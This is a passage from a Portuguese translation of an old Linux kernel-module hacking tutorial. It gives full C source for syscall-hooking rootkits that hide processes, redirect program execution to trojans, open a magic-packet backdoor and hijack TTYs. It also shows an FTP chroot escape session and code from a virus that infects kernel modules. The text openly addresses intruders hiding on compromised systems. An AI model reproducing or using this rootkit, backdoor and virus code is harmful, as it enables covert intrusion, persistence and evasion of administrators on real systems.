unaccessible de diretório? Bem - como sempre - dê uma olhada em
include/sys/syscall.h; você deveria poder entender SYS_chdir como o
systemcall nós precisamos (para pessoas que não acreditam nisto só strace
o comando... ' cd ' ). Desta vez eu não lhe darei nenhuma fonte, porque
você precisa entao interceptar sys_mkdir, e fará uma comparação de
string. Depois disto você devera fazer uma ligação regular (se não é
nosso diretório) ou retorno ENOTDIR (estando para ' lá não existe nenhum
diretório com aquele nome '). Agora suas ferramentas realmente deveriam
ser escondidas de admins de intermédio (avançados e paranóicos
esquadrinharão o HDD a seu mais baixo nível, mas quem é paranóico hoje
além de nós?!). Também deveria ser possível derrotar esta esquadrinhacao
HDD , porque tudo está baseado em systemcalls. 

4.7 Como mudar Ambientes de CHROOT 

Esta idéia é totalmente levada de HISPAHACK (hispahack.ccc.de). Eles
publicaram um texto realmente bom sobre aquele tema (' Restringindo um
FTP restringido '). Eu explicarei a idéia deles em algumas pequenas
palavras. Por favor note que o exemplo seguinte não funcionara mais, é
bastante velho (veja versão de wu-ftpd). 
Eu entao estou mostrando isso para explicar como você pode escapar de
ambientes de chroot que usam LKMs. 
O texto seguinte está baseado em software velho (wuftpd) assim não tente
usar isto em versões de wu-ftpd mais novas, não funcionara. O documentos
de HISPAHACK eh baseado na idéia de um usuário FTP restringido
considerando que ele tem o seguinte plano de permissão: 

drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ 
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ 

Este enredo (o qual você pode achar freqüentemente) o usuário (nós) pode
mencionar novamente o diretório bin, porque está em nosso diretório
Home. Antes de fazer qualquer coisa assim damos uma olhada em quem
funciona em wu.ftpd (o servidor que eles usaram para explicação, mas a
idéia é mais geral). Se nós emitimos um comando LIST.. / serão executados
bin/ls com UID=0 (o uid de EUID=user). Antes de q a execução seja feita,
para que wu.ftpd realmente tenha terminado usará chroot(...) para fixar o
diretório de raiz de processo de certo modo nós somos restringidos ao
diretório Home. Isto nos impede de ter acesso outras partes do filesystem
por nosso FTP considere (restringido). Agora imagine, nós poderíamos
substituir /bin/ls com outro programa, este programa seria executado como
root (uid=0). Mas o que ganharíamos nós, nós não podemos ter acesso o
sistema inteiro por causa do chroot(...) chamada. Este é o ponto onde nós 
precisamos de um LKM que nos ajuda. Nós removemos... / bin/ls com um
programa que carrega um LKM provido por nós. Este módulo interceptará o
systemcall sys_chroot(...) . Deve ser mudado de modo q ninguem vai mais
nos restrinjir. Isto significa q nós só precisamos estar seguros que
sys_chroot(...) não está fazendo nada. HISPAHACK usou mesmo um modo
radical, eles entao modificaram sys_chroot(...) de certo modo q só
devolve 0 e nada mais. Depois de carregar este LKM você ve um processo
novo q pode desovar sem ser mais restringido. Isto significa q você pode
ter acesso o sistema inteiro com uid=0. O seguinte exemplo que lista
espetáculos 'Hack-Session'  publicado por HISPAHACK: 

thx:~# ftp 
ftp> o ilm 
Connected to ilm. 
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. 
Name (ilm:root): user 
331 Password required for user. 
Password: 
230 User user logged in.  Access restrictions apply. 
Remote system type is UNIX. 
Using binary mode to transfer files.
 ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. 
d--x--x--x 2 root root 1024 Jun 21 11:26 bin 
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc 
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 
226 Transfer complete. 
ftp> cd .. 
250 CWD command successful. 
ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
total 5 
drwxr-xr-x 5 user users 1024 Jun 21 11:26 . 
drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. 
d--x--x--x 2 root root 1024 Jun 21 11:26 bin 
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc 
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 
226 Transfer complete. ftp ls bin/ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 
226 Transfer complete. 
ftp> ren bin bin.old 
350 File exists, ready for destination name 
250 RNTO command successful. 
ftp> mkdir bin 
257 MKD command successful.
 ftp> cd bin 
250 CWD command successful. 
ftp> put ls 
226 Transfer complete. 
ftp> put insmod 
226 Transfer complete.
ftp> put chr.o 
226 Transfer complete. 
ftp> chmod 555 ls 
200 CHMOD command successful.
 ftp> chmod 555 insmod 
200 CHMOD command successful. 
ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
UID: 0 EUID: 1002 
Cambiando EUID... 
UID: 0 EUID: 0
Cargando modulo chroot... 
Modulo cargado. 
226 Transfer complete. 
ftp> bye 
221 Goodbye. 
thx:~# 

--> agora nós começamos uma sessão de FTP nova sem ser restringido 
(LKM está carregado assim sys_chroot(...) é derrotado. Assim faca o 
que você quer (carregue passwd...) No Apêndice você achará o código 
fonte completo para o ls novo e o módulo. 

5. Relacionado a Process Hacks
 
Longe disso o filesystem é totalmente controlado por nós. Nós discutimos
o mais interessante 'Hacks'. Agora esta hora de mudar a direção. Nós
precisamos discutir LKMs que confundem comandos usando ' ps ' mostrando
processos. 

5.1 Como esconder qualquer processo 

Eh extremamente importante nós sempre escondermos um processo do admin. 
Imagine um sniffer, cracker (normalmente não deveria ser feito em
sistemas Hackeados), ... visto por um admin quando usando ' ps '. Talvez
engane se vc trocar o nome do sniffer por algo diferente, e esperando q o
admin seja bastante tolo, mas acorde, estamos no século 21. Nós queremos
eh esconder totalmente o processo. Vejamos uma implementação de plaguez
(com algumas mudanças muito secundárias): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*process name we want to hide*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*convert a string to number*/
int myatoi(char *str)
{
 int res = 0;
 int mul = 1;
 char *ptr;
 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
 }
 return (res);
}

/*get task structure from PID*/
struct task_struct *get_task(pid_t pid)
{
 struct task_struct *p = current;
 do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*get process name from task structure*/
static inline char *task_name(struct task_struct *p, char *buf)
{
 int i;
 char *name;

 name = p->comm;
 i = sizeof(p->comm);
 do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
 }
 while (i);
 *buf = '\n';
 return buf + 1;
}

/*check whether we need to hide this process*/
int invisible(pid_t pid)
{
 struct task_struct *task = get_task(pid);
 char *buffer;
 if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
 }
 return 0;
}

/*see II.4 for more information on filesystem hacks*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;

 tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
 dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
 dinode = current->files->fd[fd]->f_inode;
#endif

 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
 if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n; 
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getdents]=orig_getdents;                                      
}

O código parece complicado, mas se você sabe como ' ps ' eh todo processo que analisa 
ferramenta q esta funcionando, é realmente fácil entender. Comandos usando ' ps ' 
não usa nenhum systemcall especial por adquirir uma lista dos processos atuais 
(lá nao existe nenhum systemcall que faz isto). Através de strace em ' ps ' você 
reconhecerá que obtém sua informação do diretório /proc/ . Lá você pode achar muitos 
diretórios com nomes que só consistem em números. Esses números são o PIDs de todo o 
funcionamento processado naquele sistema. Dentro destes diretórios você encontrara 
arquivos que provêem qualquer informação sobre aquele processo. O ' ps ' só faz um 
' ls ' em /proc/; todo número acha postos para um PID que mostra sua famosa lista. 
É ganha a informação que nos mostra sobre todo processo de ler os arquivos dentro 
de /proc/PID/. Agora você deveria adquirir a idéia. ' ps ' tem que ler os conteúdos 
do diretório /proc/ , assim tem que usar sys_getdents(...). Nós entao temos que adquirir 
o nome de um PID achado em /proc/; se é nosso nome de processo que nós queremos esconder, 
nós esconderemos isto de /proc/ (como nós fizemos com outros arquivos no filesystem - > veja 4.1). 
As duas funções de tarefa(task) e a função invisible(...) adquiri 
só o nome para um determinado PID no diretório de proc e matéria-prima relacionada. 
Os arquivo escondidos deveriam tentar limpar conforme demonstrado em 4.1. Eu 
melhoraria só um ponto em approuch de plaguez. Eu não sei por que ele usou uma 
atoi-function, simple_strtoul(...) seja o modo mais fácil, mas estes são peanuts. 
Claro que, em um hide module completo você colocaria arquivo e processo escondido 
em um hacked getdents call (isto é, o q plaguez fez.). Runar Jensen usou outro modo 
mais complicado. Ele também esconde o PIDs do diretório /proc, mas o modo dele 
confere se esta escondido ou não, é um pouco diferente. Ele usa o campo de 
flags na estrutura de tarefa. Este campo longo não assinado regularmente usa 
as constantes seguintes para economizar um pouco de informação sobre a tarefa: 

  - PF_PTRACED: processo atual é observado 
  - PF_TRACESYS: """" 
  - PF_STARTING: processo vai começar 
  - PF_EXITING: processo vai terminar 

Agora Runar Jensen soma a própria constante dele (PF_INVISIBLE) o qual ele usa para
indicar que o processo correspondente deveria ser invisível. Assim um PID em /proc 
usando sys_getdents(...) não deve ser solucionado em seu nome. Você só tem que conferir 
para o campo de flags de tarefa. Isto soa mais fácil que a ' aproximação de nome '. 
Mas como fixar esta flag para um processo q nós queremos esconder. Runar Jensen usou o modo 
mais fácil enganchando sys_kill(...). O comando 'kill' pode enviar um código especial (9 para
terminação, por exemplo) para qalquer processo especificado pelo PID dele. Assim comece seu 
processo que vai ser invisível, faça um ' ps ' por adquirir seu PID. E usa um a 'kill -code PID'. 
O campo de código deve ser um valor que não é usado pelo sistema (assim 9 seria uma escolha 
ruim); Runar Jensen levou 32. Assim o módulo precisa enganchar sys_kill(...) e confere para 
um código de 32. Nesse caso tem que se fixar a task flags campo do processo especificado pelo 
PID dado a sys_kill(...). Este é um modo para fixar o campo de flag. Agora está claro por que 
esta aproximação é um pouco muito complicado para um uso prático fácil. 

5.2 Como redirecionar Execução de arquivos 

Em certas situações poderia ser muito interessante redirecionar a execução de um arquivo. 
Esses arquivos poderiam ser /bin/login (como plaguez fez), tcpd, etc.. Isto lhe permitiria 
inserir qualquer trojan sem problema de checagens de checksum nesses arquivos (você não 
precisa muda-los). Tão novamente procuremos o systemcall responsável. sys_execve(...) é 
um do qual nós precisamos. Demos uma olhada no modo de plaguez de redirecionamento(a idéia 
original veio de halflife): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

/*must be defined because of syscall macro used below*/
int errno;

/*we define our own systemcall*/
int __NR_myexecve;

/*we must use brk*/
static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*here plaguez's user -> kernel space transition specialized for strings
is better than memcpy_fromfs(...)*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
 return dest;
}


/*this is something like a systemcall macro called with SYS_execve, the
asm code calls int 0x80 with the registers set in a way needed for our own
__NR_myexecve systemcall*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) 
                     (filename)), "c"((long) (argv)),                      "d"((long) (envp)));
    return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 char *test;
 int ret, tmp;
 char *truc = "/bin/ls";        /*the file we *should* be executed*/
 char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/
 unsigned long mmm;

 test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
 /*get file which a user wants to execute*/
 (void) strncpy_fromfs(test, filename, strlen(truc));
 test[strlen(truc)] = '\0';
 /*do we have our truc file ?*/
 if (!strcmp(test, truc)) 
 {
  kfree(test);
  mmm = current->mm->brk;
  ret = brk((void *) (mmm + 256));
  if (ret < 0)
   return ret;
  /*set new program name (the program we want to execute instead of /bin/ls or 
  whatever)*/
  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  /*execute it with the *same* arguments / environment*/
  ret = my_execve((char *) (mmm + 2), argv, envp);
  tmp = brk((void *) mmm);
 } else {
  kfree(test);
  /*no the program was not /bin/ls so execute it the normal way*/
  ret = my_execve(filename, argv, envp);
 }
 return ret;
}

int init_module(void)                /*module setup*/
{
 /*the following lines choose the systemcall number of our new myexecve*/
 __NR_myexecve = 200;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Quando você carregou este módulo, toda chamada para /bin/ls executará entao /bin/ps. 
A lista seguinte lhe dá algumas idéias como usar este redirecionamento de execve: 

  - trojan /bin/login com um login hacker (como plaguez sugere) 
  - tcpd trojan para abrir um rootshell em uma certa porta, ou filtrar seu behaviour 
    anotando (se lembra de CERT aconselhador em um trojan versão de TCPD) 
  - inetd trojan para uma rootshell 
  - httpd trojan, sendmail,... qualquer servidor do que você pode pensar, para um 
    rootshell, emitindo um especial magic string 
  - ferramentas trojan como tripwire, L6 
  - outras ferramentas relevantes de seguranca de sistemas 
 
Ha milhares de outros programas de intersting para 'trojan', entao use seu cérebro. 

6. Hacking relacionado a Rede (Socket) 

A Rede é o playground do hacker. Assim vejamos algo que pode nos ajudar. 

6.1 Como controlar Operacões de Sockets  

Há muitas coisas que você pode fazer controlando Operações de Socket. plaguez fez uma
backdoor agradável. Ele entao intercepta o systemcall sys_socketcall e espera por um 
pacote com uma certa duração e um certo conteúdo. Assim demos uma olhada no hacked systemcall 
dele (eu mostrarei só o hacked_systemcall, porque o resto é igual a todo outro LKM mencionado
nesta seção): 

int hacked_socketcall(int call, unsigned long *args)
{
 int ret, ret2, compt;

 /*our magic size*/
 int MAGICSIZE=42;

 /*our magic contents*/
 char *t = "packet_contents";
 unsigned long *sargs = args;
 unsigned long a0, a1, mmm;
 void *buf;

 /*do the call*/
 ret = (*o_socketcall) (call, args);

 /*did we have magicsize & and a recieve ?*/
  if (ret == MAGICSIZE && call == SYS_RECVFROM) 
  {
   /*work on arguments*/
   a0 = get_user(sargs);
   a1 = get_user(sargs + 1);
   buf = kmalloc(ret, GFP_KERNEL);
   memcpy_fromfs(buf, (void *) a1, ret);
   for (compt = 0; compt < ret; compt++)
    if (((char *) (buf))[compt] == 0)
     ((char *) (buf))[compt] = 1;
    /*do we have magic_contents ?*/
    if (strstr(buf, mtroj)) 
    {
     kfree(buf);
     ret2 = fork();
    if (ret2 == 0) 
    {
     /*if so execute our proggy (shell or whatever you want...) */
     mmm = current->mm->brk;
     ret2 = brk((void *) (mmm + 256));
     memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

     /*plaguez's execve implementation -> see 4.2*/
     ret2 = my_execve((char *) mmm + 2, NULL, NULL);
    }
   }
  }
 return ret;
}

Ok, como sempre eu adicionei alguns comentários para o código que é um pouco feio, mas funciona. 
O código intercepta todo sys_socketcall (que é responsável para tudo relativo a socket-operations 
veja I.2). Dentro do hacked systemcall o primeiro código assume um systemcall normal. 
Depois de que o valor de retorno e chama são conferidas as variáveis. Se fosse um 
receive Socketcall  e o 'packetsize' (... nada haver com TCP/IP Packets...) é o q conferirá os 
conteúdos que foram recebidos. Se pode achar nossos conteúdos magic, o código pode ser seguro
, P/ q nós (hackers) possamos iniciar o programa backdoor. Isto é feito através de 
my_execve(...). Na minha opinião esta aproximação é muito boa, também seria possível esperar 
por um speciel connect / close padrão íntimo, só seja criativo. Por favor lembre-se que os 
métodos mencionaram sobre necessidade um serviço que lista em uma certa porta, 
porque a receive function só é emitida através de daemons dados receptores de uma 
conexão estabelecida. Esta é uma desvantagem, porque podia ser um bit um pouco suspeito 
para alguns admins paranóico. Teste essa primeira ideia de backdoor de LKM em seu sistema 
e veja o que acontece. Ache seu modo favorito de backdoor'ing o sys_socketcall, e 
use em seus sistemas hackeados. 

7. Modos para Sequestrar TTY 

Sequestrar TTY é muito interessante e também eh algo muito usado a muito tempo. 
Nós podemos agarrar toda introducao de um TTY, nós especificamos qual seu número maior 
e menor. Na Phrack 50 halflife publicaram um LKM realmente bom que faz isto. O código 
seguinte é retirado do LKM dele. Deveria mostrar para todo novato os fundamentos de 
seguestrar TTY, que entretanto sem nenhuma implementação completa, você não pode usar 
isto de qualquer modo útil, porque eu não implementei um modo de anotar a introducao TTY 
feito pelo usuário. É apenas para q alguns de voces q querem entender os fundamentos, entao, 
aqui vamos nos: 

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <sys/sysmacros.h>


int errno;

/*the TTY we want to hijack*/
int tty_minor = 2;
int tty_major = 4;

extern void* sys_call_table[];

/*we need the write systemcall*/
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

void *original_write;

/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
 struct file *f=NULL;
 struct inode *inode=NULL;
 int mymajor=0;
 int myminor=0;

 if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  return 0;
 mymajor = major(inode->i_rdev);
 myminor = minor(inode->i_rdev);
 if(mymajor != tty_major) return 0;
 if(myminor != tty_minor) return 0;
  return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
 int r;
 char *kernel_buf;

 if(is_fd_tty(fd))
 {
  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   
  memcpy_fromfs(kernel_buf, buf, count);

  /*at this point you can output buf whereever you want, it represents
  every input on the TTY device referenced by the chosen major / minor
  number
  I did not implement such a routine, because you will see a complete &
  very good TTY hijacking tool by halflife in appendix A */

  kfree(kernel_buf);
 }
 sys_call_table[SYS_write] = original_write;
 r = write(fd, buf, count); 
 sys_call_table[SYS_write] = new_write;
 if(r == -1) return -errno;
  else return r;
}

int init_module(void)                   
{
 /*you should know / understand this...*/
 original_write = sys_call_table[SYS_write];
 sys_call_table[SYS_write] = new_write;
 return 0;
}


void cleanup_module(void)
{
 /*no more hijacking*/
 sys_call_table[SYS_write] = original_write;
}

Os comentários devem deixar este código mais legivel. A idéia geral é interceptar 
sys_write (veja 4.2) e filtrar o fd estimam como eu mencionei em 4.2. Depois de 
conferir fd para o TTY nós queremos bisbilhotar, adquirimos os dados escritos e 
escrevemos isto a algum 'log' (não implementado no exemplo acima). Lah estao vários 
modos onde você pode armazenar o logs. halflife usaram um buffer (acessível por um 
próprio dispositivo) que é uma idéia boa (ele também pode controlar o hijack'er
(sequestrador) dele usando ioctl-commands no dispositivo dele). Eu recomendo q 
armazene os logs escondendo-o pessoalmente (por LKM) em um arquivo, e fazendo o 
controle por algum tipo de IPC(Inter Process Comunication). Depende do modo em que 
funciona em seu sistema hackeado. 

8. Vírus escritos com LKMs 

Agora nós deixaremos a parte de hacking em segundo plano e daremos uma olhada no mundo de 
codificacao de vírus (as idéias discutidas aqui também poderiam ser interessantes para 
hackers, assim prossiga lendo...). Eu concentrarei esta discussão no infector de LKM 
feito por Stealthf0rk/SVAT. No apêndice 'A' você adquirirá a fonte completa, assim esta 
seção discutirá apenas técnicas importantes e funções. Este LKM requer um sistema Linux 
(foi testado em um sistema 2.0.33) e com kerneld instalado (eu explicarei por que). 
Em primeiro lugar você tem que saber que este infector de LKM não infeta elf executaveis 
normalmente (também seria possivel, e verão isso depois ->7.1), só infeta módulos que 
estão carregados / descarregados. Isto que carrega/descarrega é administrado 
frequentemente através de kerneld (veja I.7). Assim imagine um módulo infetado com o 
código de vírus; quando também carregando este módulo você carregam o vírus LKM que 
funciona escondendo suas características (veja 8). Este módulo de vírus interceptam
os systemcalls sys_create_module e sys_delete_module (veja I.2) para infecção adicional. 
Sempre que um módulo é descarregado naquele sistema é infetado pelo systemcall 
sys_delete_module novo. Assim todo módulo através do kerneld (ou manualmente) será 
infetado quando descarregado. Você poderia imaginar o enredo seguinte para a primeira 
infecção: 

   - admin está procurando um driver de Rede para o cartao de interface novo dele 
    (ethernet,...) 
   - ele começa procurando na Web 
   - ele acha um driver module que deveria funcionar no sistema dele & carrega isto 
   - ele instala o módulo no sistema dele [o módulo é infetado]--> o infector é 
     instalado, o sistema é compromissado

Claro que, ele não carregou a fonte, ele estava com preguissa e desconsiderou os riscos 
que levam um arquivo binário. Entao admins, nunca confiem em qualquer arquivo binário 
(especialmente módulos). 
Assim eu espero que você veja os riscos de infectors de LKM, agora pareçamos um 
pouco mais íntimo ao infector de LKM por SVAT. Imagine você tem a fonte para o vírus LKM 
(um módulo simples que intercepta sys_create_module / sys_delete_module e algum outro 
[mais enganador] materiais). A primeira pergunta seria como infetar um módulo existente 
(o módulo anfitrião). Bem façamos alguns experimentos. Leve dois módulos e 'cat' eles 
junto:
 
# cat module1.o >> module2.o 

Depois desta prova para insmod o resultando module2.o (que também inclui module1.o a seu fim). 

# insmod module2.o 

Ok funcionou, agora cheque que módulos estão carregados em seu sistema, 

# lsmod 

Module    Pages   Used by 
module2       1	        0 

Assim nós sabemos que concatenando dois módulos o primeiro (relativo a código de objeto) 
será carregado, o segundo será ignorado. E nao haverá nenhum erro que diz que insmod não 
podem carregar código corrompido ou assim. Pensando nisto, deveria estar claro que um 
módulo de anfitrião pudesse ser infetado por 

'cat host_module.o >> virus_module.o' 
'ren virus_module.o host_module.o'  --> (mv)

Carregando host_module.o deste modo carregarão o vírus com todas suas características de LKM 
agradáveis. Mas há um problema, como nós carregamos o host_module atual? Seria muito estranho 
a um usuário / admin que o device driver dele não funcionasse. Aqui nós precisamos da ajuda 
do kerneld. Como eu disse em I.7 que você pode usar kerneld para carregar um módulo. 
Só request_module de uso ("module_name") em seu sources. Este kerneld forçarão a carregar o 
módulo especificado. Mas onde nós adquirimos o módulo de anfitrião original dele? 
É acumulado em host_module.o (junto com virus_module.o). Assim depois de compilar seu 
virus_module.c para seu objectcode você têm q olhar seu tamanho (quantos bytes). 
Depois disto sabe você onde o host_module.o original começará no acumulado (você tem que 
compilar o virus_module duas vezes: 
o primeiro para conferir o objectcode e classificar segundo o tamanho, a segunda com a fonte 
mudada relativo a objectsize que deve ser hardcoded...). Estes passos seu virus_module 
deveriam buscar extrair o host_module.o original do acumulado. Você tem que salvar isto 
extraindo o modulo em algum lugar, e carrega isto por request_module ("orig_host_module.o"). 
Depois de carregar o host_module.o original seu virus_module (que também está carregado por 
insmod [emitido por usuário, ou kerneld]) pode começar infectando qualquer módulo carregado. 
Stealthf0rk (SVAT) usou o systemcall sys_delete_module(...) por fazer a infecção, assim demos 
uma olhada no hacked systemcall dele (eu só adicionei alguns comentários): 

/*just the hacked systemcall*/
int new_delete_module(char *modname)
{
 /*number of infected modules*/
 static int infected = 0;
 int retval = 0, i = 0;
 char *s = NULL, *name = NULL;
 
 /*call the original sys_delete_module*/       
 retval = old_delete_module(modname); 

  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  return retval;
 
 /*check files to infect -> this comes from hacked sys_create_module; just
 a feature of *this* LKM infector, nothing generic for this type of virus*/
 for (i = 0; files2infect[i][0] && i < 7; i++) 
 {
  strcat(files2infect[i], ".o"); 
  if ((s  = get_mod_name(files2infect[i])) == NULL) 
  {
   return retval;
  }
  name = strcpy(name, s);
  if (!is_infected(name)) 
  {
   /*this is just a macro wrapper for printk(...)*/
   DPRINTK("try 2 infect %s as #%d\n", name, i);
   /*increase infection counter*/
   infected++;
   /*the infect function*/
   infectfile(name);
  }
  memset(files2infect[i], 0, 60 + 2);
 } /* for */
 /* its enough */
 /*how many modules were infected, if enough then stop and quit*/
 if (infected >= ENOUGH)
  cleanup_module();
 vfree(name);
 return retval;
}

Bem há só uma função interessante neste systemcall: infectfile(...). Assim examinemos aquela 
função (novamente apenas alguns comentários foram adiconados por mim): 

int infectfile(char *filename)
{
 char *tmp = "/tmp/t000";
 int in = 0, out = 0;
 struct file *file1, *file2;
 
 /*don't get confused, this is a macro define by the virus. It does the
 kernel space -> user space handling for systemcall arguments(see I.4)*/
 BEGIN_KMEM
 /*open objectfile of the module which was unloaded*/
 in = open(filename, O_RDONLY, 0640);
 /*create a temp. file*/
 out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
 /*see BEGIN_KMEM*/
 END_KMEM
 
 DPRINTK("in infectfile: in = %d out = %d\n", in, out);
 if (in <= 0 || out <= 0)
  return -1;
 file1 = current->files->fd[in];
 file2 = current->files->fd[out];
 if (!file1 || !file2)
  return -1;
 /*copy module objectcode (host) to file2*/
 cp(file1, file2);
 BEGIN_KMEM
 file1->f_pos = 0;
 file2->f_pos = 0;
 /* write Vircode [from mem] */
 DPRINTK("in infetcfile: filenanme = %s\n", filename);
 file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
 cp(file2, file1);
 close(in);
 close(out);
 unlink(tmp);
 END_KMEM
 return 0;
}        

Eu acho que a função de infecção esta bastante clara. Soh falta uma coisa da qual 
eu acho q seja necessário discutir: Como fazer o módulo infetado primeiro começo o vírus, e 
carrega o módulo original (nós sabemos a teoria, mas como fazer isto em realidade)? Por 
responder esta pergunta objetiva, deixa um olhar a uma função chamada 
load_real_mod(char *path_name, char* name) que administra aquele problema: 

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. N0 fuckin' parsing for symbols and headers
 * is needed - cool.
 */
int load_real_mod(char *path_name, char *name)
{   	
 int r = 0, i = 0;		
 struct file *file1, *file2;
 int in =  0, out = 0; 

 DPRINTK("in load_real_mod name = %s\n", path_name);
 if (VirCode)
  vfree(VirCode);
 VirCode = vmalloc(MODLEN);
 if (!VirCode)
   return -1;
 BEGIN_KMEM
 /*open the module just loaded (->the one which is already infected)*/
 in = open(path_name, O_RDONLY, 0640);
 END_KMEM
 if (in <= 0)
  return -1;
 file1 = current->files->fd[in];
 if (!file1)
  return -1;
 /* read Vircode [into mem] */
 BEGIN_KMEM
 file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
 close(in);
 END_KMEM
 /*split virus / orig. module*/
 disinfect(path_name);
 /*load the orig. module with kerneld*/
 r = request_module(name);
 DPRINTK("in load_real_mod: request_module = %d\n", r);
 return 0;
}   	

Deveria fikar claro o *porque* de este infector de LKM precisam de kerneld agora, nós 
precisamos carregar o módulo original com request_module(...). Eu espero que você 
entenda esta jornada muito básica pelo mundo de infectors de LKM (vírus). As próximas 
seções de substituicao mostrarão para alguem, extensões e idéias básicas sobre infectors de 
LKM. 

8.1 Como um vírus de LKM pode infetar qualquer arquivo (não só módulos; prototipo) 

Por favor não me culpe por não mostrar um exemplo de funcionamento desta idéia, eu
não tenho tempo para implementar isto no momento (olhar para lançamentos 
adicionais). Como você viu em II.4.2 que é possível pegar o execute de todo arquivo que 
usa um systemcall sys_execve(...) interceptado. Agora imagine um hacked systemcall que 
junta alguns dados para o programa que vai ser executado. O da próxima vez este programa 
